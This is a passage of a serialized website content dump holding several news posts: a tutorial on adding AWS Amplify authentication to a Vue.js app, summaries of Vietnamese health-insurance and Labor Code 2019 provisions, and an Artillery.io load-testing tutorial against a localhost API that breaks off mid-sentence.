by":70,"date":3050,"description":259,"extension":72,"meta":3051,"navigation":74,"path":3052,"sections":76,"seo":3053,"stem":3054,"thumbnail":3055,"__hash__":3056},"content_en\u002Fnews\u002Fcac-cap-do-kiem-thu-phan-mem.md","(日本語) テストレベルについて",{"type":8,"value":3045,"toc":3048},[3046],[11,3047,259],{},{"title":66,"searchDepth":67,"depth":67,"links":3049},[],"2024-12-11",{},"\u002Fnews\u002Fcac-cap-do-kiem-thu-phan-mem",{"title":3043,"description":259},"news\u002Fcac-cap-do-kiem-thu-phan-mem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F12\u002F10162638\u002FScreenshot-2024-12-10-162335.png","-9OJNud7w4cWloYqNL9THVXFRCbynglYPd9UKdBckFA",{"id":3058,"title":3059,"body":3060,"category":262,"created by":70,"date":3066,"description":259,"extension":72,"meta":3067,"navigation":74,"path":3068,"sections":76,"seo":3069,"stem":3070,"thumbnail":3071,"__hash__":3072},"content_en\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-1.md","基本的なテストプロセスにおけるテストの活動・Part 1",{"type":8,"value":3061,"toc":3064},[3062],[11,3063,259],{},{"title":66,"searchDepth":67,"depth":67,"links":3065},[],"2024-11-05",{},"\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-1",{"title":3059,"description":259},"news\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-1","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F06171307\u002FScreenshot-2024-11-06-171247.png","fbeCopQlILHWsE5Fv62VT0ZFC0s_wAQn3EY4W199J24",{"id":3074,"title":3075,"body":3076,"category":262,"created by":70,"date":3082,"description":259,"extension":72,"meta":3083,"navigation":74,"path":3084,"sections":76,"seo":3085,"stem":3086,"thumbnail":3087,"__hash__":3088},"content_en\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-2.md","基本的なテストプロセスにおけるテストの活動・Part 2",{"type":8,"value":3077,"toc":3080},[3078],[11,3079,259],{},{"title":66,"searchDepth":67,"depth":67,"links":3081},[],"2024-11-13",{},"\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-2",{"title":3075,"description":259},"news\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-2","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F12144300\u002FScreenshot-2024-11-12-144235.png","nNg3UoZXEtTUSgLzzqQdnX4X7YlNvNqSlBc1JZ25Gn0",{"id":3090,"title":3091,"body":3092,"category":262,"created by":70,"date":3098,"description":259,"extension":72,"meta":3099,"navigation":74,"path":3100,"sections":76,"seo":3101,"stem":3102,"thumbnail":3103,"__hash__":3104},"content_en\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-3.md","基本的なテストプロセスにおけるテストの活動・Part 3",{"type":8,"value":3093,"toc":3096},[3094],[11,3095,259],{},{"title":66,"searchDepth":67,"depth":67,"links":3097},[],"2024-11-19",{},"\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-3",{"title":3091,"description":259},"news\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-3","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F18162231\u002FScreenshot-2024-11-18-162139.png","kKrPErBiJieX6IFuUpgxsPZUy-tHp1AGCVCXziI-6gU",{"id":3106,"title":3107,"body":3108,"category":262,"created by":70,"date":3114,"description":259,"extension":72,"meta":3115,"navigation":74,"path":3116,"sections":76,"seo":3117,"stem":3118,"thumbnail":3119,"__hash__":3120},"content_en\u002Fnews\u002Fcac-loai-kiem-thu.md","(日本語) テストタイプ",{"type":8,"value":3109,"toc":3112},[3110],[11,3111,259],{},{"title":66,"searchDepth":67,"depth":67,"links":3113},[],"2024-12-31",{},"\u002Fnews\u002Fcac-loai-kiem-thu",{"title":3107,"description":259},"news\u002Fcac-loai-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F12\u002F27161540\u002FScreenshot-2024-12-27-161517.png","ODVLrD8GfgC7IlfnYPo-ZsVXybGixXd7swXB7_dUJiM",{"id":3122,"title":3123,"body":3124,"category":262,"created by":70,"date":3130,"description":259,"extension":72,"meta":3131,"navigation":74,"path":3132,"sections":76,"seo":3133,"stem":3134,"thumbnail":3135,"__hash__":3136},"content_en\u002Fnews\u002Fcach-su-dung-hieu-qua-cong-cu-kiem-thu.md","(日本語) テストツールの効果的な使い方",{"type":8,"value":3125,"toc":3128},[3126],[11,3127,259],{},{"title":66,"searchDepth":67,"depth":67,"links":3129},[],"2025-03-10",{},"\u002Fnews\u002Fcach-su-dung-hieu-qua-cong-cu-kiem-thu",{"title":3123,"description":259},"news\u002Fcach-su-dung-hieu-qua-cong-cu-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F21170849\u002FScreenshot-2025-02-21-170733.png","JYNTUmtrPT6vDSxN3RplHJc8l5aaRHKPF4u0mkP43SY",{"id":3138,"title":3139,"body":3140,"category":1319,"created by":70,"date":3492,"description":3493,"extension":72,"meta":3494,"navigation":74,"path":3495,"sections":76,"seo":3496,"stem":3497,"thumbnail":3498,"__hash__":3499},"content_en\u002Fnews\u002Fcach-them-xac-thuc-vao-ung-dung-vue-bang-aws-amplify.md","How to Add Authentication to a Vue.js App Using AWS Amplify",{"type":8,"value":3141,"toc":3489},[3142,3146,3149,3152,3156,3164,3168,3171,3177,3180,3185,3188,3194,3198,3202,3205,3210,3213,3218,3221,3225,3228,3232,3235,3239,3246,3249,3252,3255,3258,3264,3273,3280,3285,3288,3292,3295,3300,3303,3308,3311,3314,3317,3320,3323,3328,3331,3351,3360,3364,3367,3372,3376,3383,3389,3393,3400,3406,3417,3423,3426,3430,3433,3439,3442,3446,3457,3463,3466,3474,3477,3483],[395,3143,3145],{"id":3144},"whats-aws-amplify","What’s AWS Amplify?",[11,3147,3148],{},"AWS Amplify is an open-source framework created by Amazon that contains a set of tools and services that can be used together or on their own. One of the tools is Amplify Auth. Amplify Auth lets you quickly set up secure authentication and control what users have access to in your application.",[11,3150,3151],{},"The Amplify framework uses Amazon Cognito as the main authentication provider. Amazon Cognito is a robust user-directory service that handles user registration, authentication, account recovery, and other operations.",[395,3153,3155],{"id":3154},"create-an-aws-account","Create an AWS Account",[11,3157,3158,3159,878],{},"To get started, you’ll need to create an AWS account here. If you don’t have an AWS account, ",[55,3160,3163],{"href":3161,"rel":3162},"https:\u002F\u002Faws.amazon.com\u002Fpremiumsupport\u002Fknowledge-center\u002Fcreate-and-activate-aws-account\u002F",[59],"follow the directions here to create one",[395,3165,3167],{"id":3166},"creating-project","Creating Project",[11,3169,3170],{},"We’ll be using the Vue CLI to scaffold out a project for us to start with. To do that, you need to have the Vue CLI installed on your system. If you don’t have it installed, you can install it with this command:",[3172,3173,3174],"blockquote",{},[11,3175,3176],{},"npm install -g @vue\u002Fcli",[11,3178,3179],{},"Now we can use the Vue CLI to create our project. Create a new project using this command:",[3172,3181,3182],{},[11,3183,3184],{},"vue create vue-amplify-auth-tutorial",[11,3186,3187],{},"You’ll be asked to pick a preset. Choose “Manually select features,” and then select “babel,” “Router,” and “Linter \u002F Formatter.”",[11,3189,3190,3191,878],{},"After the Vue CLI is finished, it’ll give you the commands to change into the new directory that was just created and the command to start the server. Follow those directions. Once the server is started you can open your browser to ",[612,3192,3193],{},"localhost:8080",[438,3195],{"className":3196,"alt":66,"src":3197,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F01\u002F18150815\u002Fvuejs.png",[395,3199,3201],{"id":3200},"install-and-configure-the-amplify-cli","Install and Configure the Amplify CLI",[11,3203,3204],{},"The Amplify CLI is a unified toolchain to create AWS cloud services for your app. You can install it with this command:",[3172,3206,3207],{},[11,3208,3209],{},"npm install -g @aws-amplify\u002Fcli",[11,3211,3212],{},"Next, we need to configure Amplify by running the following command:",[3172,3214,3215],{},[11,3216,3217],{},"amplify configure",[11,3219,3220],{},"This command will open up a new browser window and ask you to sign into the AWS console. Once you’re signed in, return to your terminal, and press Enter.",[438,3222],{"className":3223,"alt":66,"src":3224,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F01\u002F18151215\u002Fstep1.png",[11,3226,3227],{},"You’ll be asked to specify the AWS Region. Select the region closest to you.",[438,3229],{"className":3230,"alt":66,"src":3231,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F01\u002F18151627\u002Fstep2.png",[11,3233,3234],{},"You’ll need to specify the username of the new IAM user. It’ll provide a default name you can use by hitting enter or you can specify your own name. I’m going to call my user: auth-demo",[438,3236],{"className":3237,"alt":66,"src":3238,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F01\u002F18151944\u002Fstep3.png",[11,3240,3241,3242,3245],{},"When you press ",[612,3243,3244],{},"Enter",", you’ll be taken back to your browser.",[11,3247,3248],{},"Click the Next: Permissions button.",[11,3250,3251],{},"Click the Next: Tags button.",[11,3253,3254],{},"Click the Next: Review button.",[11,3256,3257],{},"Click the Create User button.",[11,3259,3260,3261,3263],{},"Now go back to your terminal and press ",[612,3262,3244],{}," to continue.",[11,3265,3266,3267,3270,3271,878],{},"Type in the ",[612,3268,3269],{},"accessKeyId"," of the user you just created, and press ",[612,3272,3244],{},[11,3274,3266,3275,3270,3278,878],{},[612,3276,3277],{},"secretAcessKey",[612,3279,3244],{},[11,3281,3282,3283,878],{},"You’ll be asked to enter a profile name. I’ll accept the supplied value (the default) by just pressing ",[612,3284,3244],{},[11,3286,3287],{},"When everything is finished, you should get a message in your terminal that the new user was successfully set up.",[395,3289,3291],{"id":3290},"create-the-authentication-service","Create the Authentication Service",[11,3293,3294],{},"From the root of your Vue application, run:",[3172,3296,3297],{},[11,3298,3299],{},"amplify init",[11,3301,3302],{},"We need to add an authentication service to our Vue application. In the root directory of your Vue application, enter this command:",[3172,3304,3305],{},[11,3306,3307],{},"amplify add auth",[11,3309,3310],{},"When you initialize Amplify, you’ll be prompted for some information about your application.",[11,3312,3313],{},"Enter a project name:",[11,3315,3316],{},"Set the back-end environment name to be:",[11,3318,3319],{},"Select your preferred code-editor software:",[11,3321,3322],{},"We’re using Vue, so select that as our JavaScript framework.",[11,3324,3325,3326,3263],{},"This is the default, so you can just press ",[612,3327,3244],{},[11,3329,3330],{},"When you initialize a new Amplify project, a few things happen:",[31,3332,3333,3340],{},[34,3334,3335,3336,3339],{},"It creates a top-level directory called ",[612,3337,3338],{},"amplify"," that stores your back-end definition.",[34,3341,3342,3343,3346,3347,3350],{},"It creates a file called ",[612,3344,3345],{},"aws-exports.js"," in the ",[612,3348,3349],{},"src"," the directory that holds all of the configurations for the services you create with Amplify. This is how the Amplify client is able to get the necessary information about your back-end services.",[11,3352,3353,3354,507,3356,3359],{},"To deploy the service, run the ",[612,3355,3338],{},[612,3357,3358],{},"push"," command.",[395,3361,3363],{"id":3362},"install-amplify-libraries","Install Amplify Libraries",[11,3365,3366],{},"We need to install the Amplify dependencies in our Vue application. You can install them with this command:",[3172,3368,3369],{},[11,3370,3371],{},"npm install aws-amplify",[395,3373,3375],{"id":3374},"configure-application","Configure Application",[11,3377,3378,3379,3382],{},"We need to add Amplify to our Vue application. Open up the ",[612,3380,3381],{},"main.js"," file, and add the following after the last import line.",[605,3384,3387],{"className":3385,"code":3386,"language":610},[608],"import Amplify from 'aws-amplify';\nimport awsconfig from '.\u002Faws-exports'; \nAmplify.configure(awsconfig);\n",[612,3388,3386],{"__ignoreMap":66},[395,3390,3392],{"id":3391},"create-a-sign-up-page","Create a Sign-Up Page",[11,3394,3395,3396,3399],{},"When a user submits the form it calls the ",[612,3397,3398],{},"register"," method. Here’s the code for that method:",[605,3401,3404],{"className":3402,"code":3403,"language":610},[608],"async register() {\ntry {\nawait Auth.signUp({\nusername: this.email,\npassword: this.password,\n});\nalert('User successfully registered. Please login');\n} catch (error) {\nalert(error.message);\n}\n},\n",[612,3405,3403],{"__ignoreMap":66},[11,3407,3408,3409,3412,3413,3416],{},"This method uses ",[612,3410,3411],{},"Auth"," from the ",[612,3414,3415],{},"aws-amplify"," package we installed. Add this import for it at the beginning of the script section.",[605,3418,3421],{"className":3419,"code":3420,"language":610},[608],"import { Auth } from 'aws-amplify';\n",[612,3422,3420],{"__ignoreMap":66},[11,3424,3425],{},"Now open up your application, and register a new user. If successful, you’ll get an alert saying the user was registered.",[395,3427,3429],{"id":3428},"create-a-login-page","Create a Login Page",[11,3431,3432],{},"We need to implement is the login method. Here’s the code:",[605,3434,3437],{"className":3435,"code":3436,"language":610},[608],"async login() {\ntry {\nawait Auth.signIn(this.email, this.password);\nalert('Successfully logged in');\n} catch (error) {\nalert(error.message);\n}\n},\n",[612,3438,3436],{"__ignoreMap":66},[11,3440,3441],{},"Now if you open up your application, you’ll be able to log in with the user you previously registered.",[395,3443,3445],{"id":3444},"adding-a-logout-method","Adding a Logout Method",[11,3447,3448,3449,3452,3453,3456],{},"In the script section, add a ",[612,3450,3451],{},"methods"," object, and include the ",[612,3454,3455],{},"logout"," method. It should look like this:",[605,3458,3461],{"className":3459,"code":3460,"language":610},[608],"methods: {\nasync logout() {\ntry {\nawait Auth.signOut();\n} catch (error) {\nalert(error.message);\n}\n},\n},\n",[612,3462,3460],{"__ignoreMap":66},[11,3464,3465],{},"Congratulations, you’ve successfully added AWS Amplify authentication to your Vue application.",[11,3467,3468,3469,878],{},"Link the code from ",[55,3470,3473],{"href":3471,"rel":3472},"https:\u002F\u002Fgitlab.com\u002Fbwv-hp\u002Famplify-demo",[59],"Gitlab",[403,3475,201],{"id":3476},"references",[11,3478,3479],{},[55,3480,3481],{"href":3481,"rel":3482},"https:\u002F\u002Faws.amazon.com\u002Famplify\u002F",[59],[11,3484,3485],{},[55,3486,3487],{"href":3487,"rel":3488},"https:\u002F\u002Fblog.thundra.io\u002Fhow-to-build-an-application-in-minutes-with-aws-amplify",[59],{"title":66,"searchDepth":67,"depth":67,"links":3490},[3491],{"id":3476,"depth":67,"text":201},"2022-03-14","What’s AWS Amplify? AWS Amplify is an open-source framework created by Amazon that contains a set of tools and services that can be used together or on their own. One of the tools is Amplify Auth. Amplify Auth lets you quickly set up secure authentication and control what users have access to in your application.",{},"\u002Fnews\u002Fcach-them-xac-thuc-vao-ung-dung-vue-bang-aws-amplify",{"title":3139,"description":3493},"news\u002Fcach-them-xac-thuc-vao-ung-dung-vue-bang-aws-amplify","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F01\u002F21140420\u002Fvue_applify.jpg","P58qGUtPQ4CTu0cvDPgdMvwGO8IUBbz3OLsrAbV9p2M",{"id":3501,"title":3502,"body":3503,"category":69,"created by":70,"date":3542,"description":3543,"extension":72,"meta":3544,"navigation":74,"path":3545,"sections":76,"seo":3546,"stem":3547,"thumbnail":3548,"__hash__":3549},"content_en\u002Fnews\u002Fcap-the-bhyt-tam-thoi-cho-tre-chua-co-giay-khai-sinh.md","ISSUING TEMPORARY HEALTH INSURANCE CARD TO CHILDREN WHO HAVE NOT BEEN ISSUED A BIRTH CERTIFICATE YET",{"type":8,"value":3504,"toc":3540},[3505,3508,3522,3525,3528,3533],[11,3506,3507],{},"Clause 1, Article 10 of Circular 30\u002F2020\u002FTT-BYT stipulates that: After birth, the child is entitled to health insurance benefits under the provisions of the Law on Health Insurance, but has not yet been issued a card due to the lack of procedures for the birth certificate, the medical examination and treatment establishment shall write the code of the temporary health insurance card, including the following contents:",[31,3509,3510,3513,3516,3519],{},[34,3511,3512],{},"Object code: write symbol as TE;",[34,3514,3515],{},"Code of health insurance benefit rate: write symbol number 1;",[34,3517,3518],{},"Code of the province: write as prescribed in Decision 124\u002F2004 \u002F QD-TTg where the mother or legal guardian resides or where the head office of the medical examination is located, in case of an infant is unclaimed or abandoned;",[34,3520,3521],{},"Medical identification code: write according to the provisions of Decision 2153 \u002F QD-BYT 2020.",[11,3523,3524],{},"Thus, children who are born even without a birth certificate are also issued a temporary health insurance card code.",[11,3526,3527],{},"The Circular takes effect from March 01st, 2021.",[11,3529,3530],{},[51,3531,3532],{},"Reference links:",[11,3534,3535],{},[55,3536,3539],{"href":3537,"rel":3538},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThe-thao-Y-te\u002FThong-tu-30-2020-TT-BYT-huong-dan-Nghi-dinh-146-2018-ND-CP-huong-dan-Luat-bao-hiem-y-te-461154.aspx",[59],"Circular 30\u002F2020 \u002F TT-BYT",{"title":66,"searchDepth":67,"depth":67,"links":3541},[],"2021-06-11","Clause 1, Article 10 of Circular 30\u002F2020\u002FTT-BYT stipulates that: After birth, the child is entitled to health insurance benefits under the provisions of the Law on Health Insurance, but has not yet been issued a card due to the lack of procedures for the birth certificate, the medical examination and treatment establishment shall write the code of the temporary health insurance card, including the following contents",{},"\u002Fnews\u002Fcap-the-bhyt-tam-thoi-cho-tre-chua-co-giay-khai-sinh",{"title":3502,"description":3543},"news\u002Fcap-the-bhyt-tam-thoi-cho-tre-chua-co-giay-khai-sinh","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F22093843\u002FCapTheBHYTChoTreEm.png","g40Xv7mghriXBE0yLo27cYA9H8ZwuZbH0uPkqom_SpY",{"id":3551,"title":3552,"body":3553,"category":69,"created by":70,"date":3615,"description":3616,"extension":72,"meta":3617,"navigation":74,"path":3618,"sections":76,"seo":3619,"stem":3620,"thumbnail":3621,"__hash__":3622},"content_en\u002Fnews\u002Fchanges-laborrule-2021.md","THE NEW POINTS OF THE REVISED LABOR CODE ENFORCED FROM 2021",{"type":8,"value":3554,"toc":3613},[3555,3558,3563,3566,3577,3580,3585,3588,3593,3596,3601,3604],[11,3556,3557],{},"The Labor Code 2019 comes into effect from January 1, 2021, stipulating many new points about salaries and bonuses that employees need to know to ensure their rights and benefits, specifically:",[11,3559,3560],{},[20,3561,3562],{},"1. More days off to enjoy full salary",[11,3564,3565],{},"From 2021, according to Clause 1, Article 113, Labor Code 2019, an employee who has worked for a full 12 months for an employer will be entitled to annual leave with a full salary under the labor contract as follows:",[31,3567,3568,3571,3574],{},[34,3569,3570],{},"12 days for people working under normal conditions;",[34,3572,3573],{},"14 days for a minor employee, a worker with a disability, a person doing heavy, hazardous or dangerous occupations;",[34,3575,3576],{},"16 days for people doing extremely heavy, hazardous or dangerous occupations.",[11,3578,3579],{},"Regarding the increase in public holidays, the employee is allowed to take leave with full salary on National Day is 02 days (currently 01 day) including September 2 and the day preceding or after. Thus, the total number of public holidays and New Year holidays is 11 days, increasing 01 day compared to the old Labor Code.",[11,3581,3582],{},[20,3583,3584],{},"2. Many more cases, the employee is allowed to take leave for personal issues and receive full salary",[11,3586,3587],{},"In Clause 1, Article 115 adds adoptive parents cases; if the adoptive father and adoptive mother of the spouse die, the employee is entitled to 03 days off and full salary.At the same time, make clear of \"natural children\" and \"adopted children\" get married cases, they will be entitled to 01 day off (currently, only mention about when \"children\" get married, they will take 01 day off); if a \"natural child\" or \"adopted child\" dies, they will be entitled to 3 days off (currently, only mention about when \"children\" die, they will take 3 days).",[11,3589,3590],{},[20,3591,3592],{},"3. Not being paid on time, the employee can quit the job without notice",[11,3594,3595],{},"According to Point b, Clause 2, Article 35, Labor Code 2019, the employee has the right to unilaterally terminate the labor contract without prior notice to the employer if the salary is not paid fully or the salary is not paid on time, except for the case specified in Clause 4, Article 97 of the Labor Code 2019 (currently, 03 days' notice is required).",[11,3597,3598],{},[20,3599,3600],{},"4. Interest rate when calculating the compensation due to late payment of wages to employees",[11,3602,3603],{},"According to Clause 4, Article 97, Labor Code 2019, if due to force majeure event, the employer has found all remedial measures but cannot pay the salary on time, it must not be delayed more than 30 days; If the salary is delayed for 15 days or more, the employer must compensate the employee with an amount at least equal to the interest of the deferred payment calculated according to the interest rate of 01-month term deposit by the bank where the company opens the payment account at the time paying the salary.",[11,3605,3606,507,3608],{},[20,3607,201],{},[55,3609,3612],{"href":3610,"rel":3611},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002Flao-dong-tien-luong\u002FBo-Luat-lao-dong-2019-333670.aspx",[59],"Labor Code 2019",{"title":66,"searchDepth":67,"depth":67,"links":3614},[],"2021-02-19","The Labor Code 2019 comes into effect from January 1, 2021, stipulating many new points about salaries and bonuses that employees need to know to ensure their rights and benefits, specifically",{},"\u002Fnews\u002Fchanges-laborrule-2021",{"title":3552,"description":3616},"news\u002Fchanges-laborrule-2021","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F12\u002F24165216\u002FNh%E1%BB%AFng-%C4%91i%E1%BB%83m-m%E1%BB%9Bi-c%E1%BB%A7a-LLD-s%E1%BB%ADa-%C4%91%E1%BB%95i-c%C3%B3-hi%E1%BB%87u-l%E1%BB%B1c-t%E1%BB%AB-n%C4%83m-2021-2048x1358.jpg","az6L_P6GN7NIPhgSW8CgVhuKT13GEj5Y8swQfcMYVxs",{"id":3624,"title":3625,"body":3626,"category":262,"created by":70,"date":3898,"description":3899,"extension":72,"meta":3900,"navigation":74,"path":3901,"sections":76,"seo":3902,"stem":3903,"thumbnail":3904,"__hash__":3905},"content_en\u002Fnews\u002Fchay-load-test-performance-test-voi-artillery.md","Run load test\u002Fperformance test with Artillery",{"type":8,"value":3627,"toc":3877},[3628,3632,3636,3639,3646,3650,3653,3657,3660,3663,3667,3670,3674,3676,3679,3685,3691,3694,3700,3704,3711,3717,3720,3724,3727,3733,3736,3740,3746,3749,3753,3757,3760,3764,3767,3773,3776,3782,3786,3789,3795,3798,3801,3805,3808,3814,3817,3828,3831,3834,3848,3854,3858,3861,3864,3867],[403,3629,3631],{"id":3630},"introduction","Introduction",[565,3633,3635],{"id":3634},"what-is-performance-testing-and-why-should-you-do-a-load-test","What is performance testing? And why should you do a load test?",[11,3637,3638],{},"Performance testing is software testing that evaluates how well an application performs under different workloads.",[11,3640,3641,3642,3645],{},"This involves measuring various metrics such as response time, bandwidth, and scalability to ensure that the application can handle the expected number of requests from users without degrading performance or crashing. ",[20,3643,3644],{},"Performance testing"," can also identify performance issues and bottlenecks, it helps you make necessary changes to optimize performance. The goal of this is to ensure that the application delivers a smooth, fast, and reliable user experience even under heavy load conditions.",[565,3647,3649],{"id":3648},"about-artilleryio","About Artillery.io",[11,3651,3652],{},"Artillery.io is an open-source performance testing tool that allows you to test the performance and scalability of your web applications, APIs, and microservices. You can simulate real user behavior, generate load from multiple sources, and test your application flow according to the scenario.",[565,3654,3656],{"id":3655},"supported-protocols","Supported protocols",[11,3658,3659],{},"Artillery.io is written in Node.js and supports HTTP, Websocket, and socket.io protocols.",[11,3661,3662],{},"Also, you can use Artillery’s plugin to test another stack like HLS (HTTP Live Streaming), Amazon Kinesis, Apache Kafka, etc.",[565,3664,3666],{"id":3665},"script-formatting","Script formatting",[11,3668,3669],{},"Unlike other popular testing tools, Artillery.io provides a flexible YAML-based syntax for defining your load-testing scenarios. It also supports a JSON format.",[403,3671,3673],{"id":3672},"install-basic-features","Install & Basic features",[565,3675,1816],{"id":1813},[11,3677,3678],{},"You can globally install Artillery.io via npm or yarn by following this command:",[605,3680,3683],{"className":3681,"code":3682,"language":610},[608],"#npm\nnpm install -g artillery\n\n",[612,3684,3682],{"__ignoreMap":66},[605,3686,3689],{"className":3687,"code":3688,"language":610},[608],"#yarn\nyarn global add artillery\n\n",[612,3690,3688],{"__ignoreMap":66},[11,3692,3693],{},"or you can also install it as a dev dependency of a Node.js project with:",[605,3695,3698],{"className":3696,"code":3697,"language":610},[608],"npm install -D artillery\n",[612,3699,3697],{"__ignoreMap":66},[565,3701,3703],{"id":3702},"fast-test","Fast test",[11,3705,3706,3707,712],{},"Use the quick subcommand so that you can run a test without writing a test script. For example, to run 10 virtual users (VUs), each of them makes 20 requests to the address ",[55,3708,3709],{"href":3709,"rel":3710},"http:\u002F\u002Flocalhost:3000\u002F",[59],[605,3712,3715],{"className":3713,"code":3714,"language":610},[608],"artillery quick -c 10 -n 20 http:\u002F\u002Flocalhost:3000\u002Fapi\u002Fuser\n",[612,3716,3714],{"__ignoreMap":66},[11,3718,3719],{},"The -c parameter specifies the total number of VUs, and the -n indicates the number of requests per VU.",[565,3721,3723],{"id":3722},"run-a-test-script","Run a test script",[11,3725,3726],{},"The run subcommand runs a test script from the local machine. The basic way to run a test is with:",[605,3728,3731],{"className":3729,"code":3730,"language":610},[608],"artillery run script.yaml -o report.json\n",[612,3732,3730],{"__ignoreMap":66},[11,3734,3735],{},"The -o parameter is the option to write a JSON report to a file.",[565,3737,3739],{"id":3738},"export-report","Export report",[605,3741,3744],{"className":3742,"code":3743,"language":610},[608],"artillery report report.json -o report.html\n",[612,3745,3743],{"__ignoreMap":66},[11,3747,3748],{},"The report subcommand allows converting the JSON report generated by the run subcommand into a new HTML report.",[438,3750],{"className":3751,"alt":66,"src":3752,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F05\u002F09143906\u002Ftest-create-user.png",[403,3754,3756],{"id":3755},"writing-a-simple-load-test","Writing a simple load test",[11,3758,3759],{},"In the tutorial below we will use YAML syntax, first we need to create a file name like “script.yml”, then we start by defining the “config” section at the top of a file.",[565,3761,3763],{"id":3762},"config-section","Config Section",[11,3765,3766],{},"We need to set the base URL for your test script with the target option:",[605,3768,3771],{"className":3769,"code":3770,"language":610},[608],"config:\n  target: \"http:\u002F\u002Flocalhost:3000\u002Fapi\"\n",[612,3772,3770],{"__ignoreMap":66},[11,3774,3775],{},"Next, we'll start to define the load phase, a load phase defines how Artillery generates new VUs in a specified time period:",[605,3777,3780],{"className":3778,"code":3779,"language":610},[608],"config:\n  ...\n  phases:\n    - duration: 60\n      arrivalRate: 100\n",[612,3781,3779],{"__ignoreMap":66},[565,3783,3785],{"id":3784},"scenarios-section","Scenarios Section",[11,3787,3788],{},"We can define one or more scenarios. Each scenario definition is an object which requires a flow attribute.",[605,3790,3793],{"className":3791,"code":3792,"language":610},[608],"scenarios:\n  - name: \"Get All Users\"\n    flow:\n      - get:\n          url: \"\u002Fuser\"\n          qs:\n            limit: 10\n            offset: 20\n",[612,3794,3792],{"__ignoreMap":66},[11,3796,3797],{},"In the ‘flow’ property, we continue to define the HTTP method as an object attribute, then we need to define the path of the API, we also can set a query string or set form body like URL-encoded forms, Multipart forms or JSON.",[11,3799,3800],{},"Save the scripts and then run your test script.",[403,3802,3804],{"id":3803},"realistic-user-flows","Realistic User Flows",[11,3806,3807],{},"For example, a user flow could be:",[605,3809,3812],{"className":3810,"code":3811,"language":610},[608],"config:\n  target: \"http:\u002F\u002Flocalhost:3000\u002Fapi\"\n  phases:\n    - duration: 120\n      arrivalRate: 10\n      name: \"Preparing\"\n    - duration: 240\n      arrivalRate: 30\n      rampTo: 100\n      name: \"Increasing\"\n    - duration: 600\n      arrivalRate: 100\n      name: \"Sustained Load\"\n  payload:\n    path: \"login.csv\"\n    cast: false\n    fields:\n      - \"user\"\n      - \"pass\"\n  processor: \".\u002Fprocessor.js\"\n\nbefore:\n  flow:\n    - log: \"Get auth token\"\n    - post:\n        url: \"\u002Fauth\u002Flogin\"\n        json:\n          username: \"{{user}}\"\n          password: \"{{pass}}\"\n        capture:\n          - json: $.tokens.accessToken\n            as: token\nscenarios:\n  - name: \"Search Users\"\n    flow:\n      - get:\n          url: \"\u002Fuser\"\n          headers:\n            authorization: \"Bearer {{ token }}\"\n  - name: \"Create New User\"\n    flow:\n      - post:\n          url: \"\u002Fuser\"\n          beforeRequest: \"setJsonBody\"\n          headers:\n            authorization: \"Bearer {{ token }}\"\n",[612,3813,3811],{"__ignoreMap":66},[11,3815,3816],{},"In the above script, we have three phases in the configuration:",[31,3818,3819,3822,3825],{},[34,3820,3821],{},"The first phase creates 10 VUs per second and sends them to the application for 2 minutes.",[34,3823,3824],{},"In the second phase, the load test will start at 30 users per second and gradually increase to 100 users per second over 4 minutes.",[34,3826,3827],{},"The final phase simulates a sustained load of 100 users per second for 10 minutes.",[11,3829,3830],{},"By using multiple phases allows you to accurately simulate realistic traffic scenarios and evaluate your application's ability to handle a sudden barrage of requests.",[11,3832,3833],{},"In the first flow of scenarios, each of the VUs requests GET | \"Search user\", then in the second flow they'll request POST | \"Create user\".",[11,3835,3836,3837,3840,3841,3844,3845,3847],{},"To make it easy to generate data. In this way, before executing the request. We use the ",[20,3838,3839],{},"setJsonBody"," function on the custom hook ",[20,3842,3843],{},"beforeRequest",", The function 